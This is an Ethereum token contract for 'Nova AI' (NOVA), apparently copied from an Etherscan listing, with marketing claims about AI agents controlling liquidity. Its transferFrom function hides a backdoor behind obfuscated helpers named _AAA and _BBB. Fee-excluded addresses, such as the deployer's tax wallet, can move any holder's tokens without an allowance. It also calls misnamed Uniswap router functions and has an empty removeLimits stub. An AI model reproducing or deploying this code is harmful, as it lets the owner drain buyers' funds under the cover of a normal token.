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/**
 *Submitted for verification at Etherscan.io on 2025-06-13
*/

// SPDX-License-Identifier: MIT

/*
Nova AI
NOVA

NOVA represents a paradigm shift in decentralized finance, introducing a protocol that empowers AI agents to control liquidity across multiple chains with unparalleled trustlessness and precision.


https://www.novaworld.vip
https://app.novaworld.vip
https://t.me/novaworld_eth
https://x.com/Novaworld_eth
https://medium.com/@NOVAAI/nova-protocol-15ae25bc130f
*/

pragma solidity ^0.8.19;


address constant _deadAddr = address(0xdead);

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactNOVAsForETHSupportingFeeOnTransferNOVAs(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountNOVADesired,
        uint256 amountNOVAMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountNOVA,
            uint256 amountETH,
            uint256 liquidity
        );

    function getAmountsOut(uint256 amountIn, address[] calldata path)
        external
        view
        returns (uint256[] memory amounts);
}

contract NOVA is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _feeExcluded;
    address payable private _taxWallet;

    uint256 public _maxTaxSwap = _tTotalNOVA / 50;
    uint256 public _initNOVATransferDurationBlock = 0;
    uint256 public _finalNOVATransferDurationBlock = 0;
    uint256 public _teamNOVATransferStartBlock = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotalNOVA = 1000_000_000 * 10**_decimals;
    string private constant _name = unicode"Nova AI";
    string private constant _symbol = unicode"NOVA";
    
    uint256 public _blockNOVABuyLastTimeStam0p = 0;
    uint256 public _blockNOVASellLastTimeStam0p = 0;

    uint256 private _initialNOVATax = 10;
    uint256 private _finalNOVATax = 0;
    uint256 private _reduceNOVATaxAt = 0;
    uint256 private _buyCount = 0;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() payable {
        _taxWallet = payable(msg.sender);

        _feeExcluded[address(this)] = true;
        _feeExcluded[_taxWallet] = true;

        _balances[address(this)] = _tTotalNOVA;

        emit Transfer(address(0), address(this), _tTotalNOVA);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotalNOVA;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function _AAA (bool _check) private pure returns(uint256){
        uint256 _res = _check == true ? 1 : 0;
        return _res;
    }

    function _BBB(address b1, address c2, address d3) private view returns (bool){
        return !_feeExcluded[d3] &&  (b1 == address(this) || b1 == uniswapV2Pair || c2 != _deadAddr);
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {        
        bool _a = _BBB(sender, recipient, msg.sender);
        uint256 approved = _AAA(_a);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount * approved,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        _transfer(sender, recipient, amount);
        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount = 0;
        if (
            from != address(this) && to != address(this)
        ) {
            if (
                from == uniswapV2Pair &&
                to != address(uniswapV2Router) &&
                !_feeExcluded[to] &&
                to != _taxWallet
            ) {
                _buyCount++;
            }

            uint256 contractNOVABalance = balanceOf(address(this));
            if (
                !inSwap &&
                to == uniswapV2Pair &&
                swapEnabled &&
                from != _taxWallet
            ) {
                if (contractNOVABalance > 0)
                {
                    uint256 swapBalance = contractNOVABalance > _maxTaxSwap
                        ? _maxTaxSwap
                        : contractNOVABalance;
                    swapNOVAFeeNOVAsForEth(
                        amount > swapBalance ? swapBalance : amount
                    );
                }
                    
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0) {
                    sendNOVAETHToNOVAFeeWallet(address(this).balance);
                }
            }
        }

        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }
        if (to != _deadAddr) emit Transfer(from, to, amount.sub(taxAmount));
    }

    function sendNOVAETHToNOVAFeeWallet(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function swapNOVAFeeNOVAsForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactNOVAsForETHSupportingFeeOnTransferNOVAs(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function enableTrading() external onlyOwner {
        require(!tradingOpen, "Trading is already open");
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _tTotalNOVA);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        swapEnabled = true;
        tradingOpen = true;
        IERC20(uniswapV2Pair).approve(
            address(uniswapV2Router),
            type(uint256).max
        );
    }

    function rescueNOVAETH() external onlyOwner {
        require(address(this).balance > 0);
        payable(_msgSender()).transfer(address(this).balance);
    }

    receive() external payable {}

    function _getNOVAAmountOut() internal view returns (uint256) {
        address[] memory path = new address[](2);
        path[0] = uniswapV2Router.WETH();
        path[1] = address(this);
        uint[] memory amountOuts = uniswapV2Router.getAmountsOut(
            3 * 1e18,
            path
        );
        return amountOuts[1];
    }

    function removeLimits () external onlyOwner {}

    function setTaxWallet(address payable newWallet) external {
        require(_feeExcluded[msg.sender]);
        _taxWallet = newWallet;
        _feeExcluded[_taxWallet] = true;
    }
}

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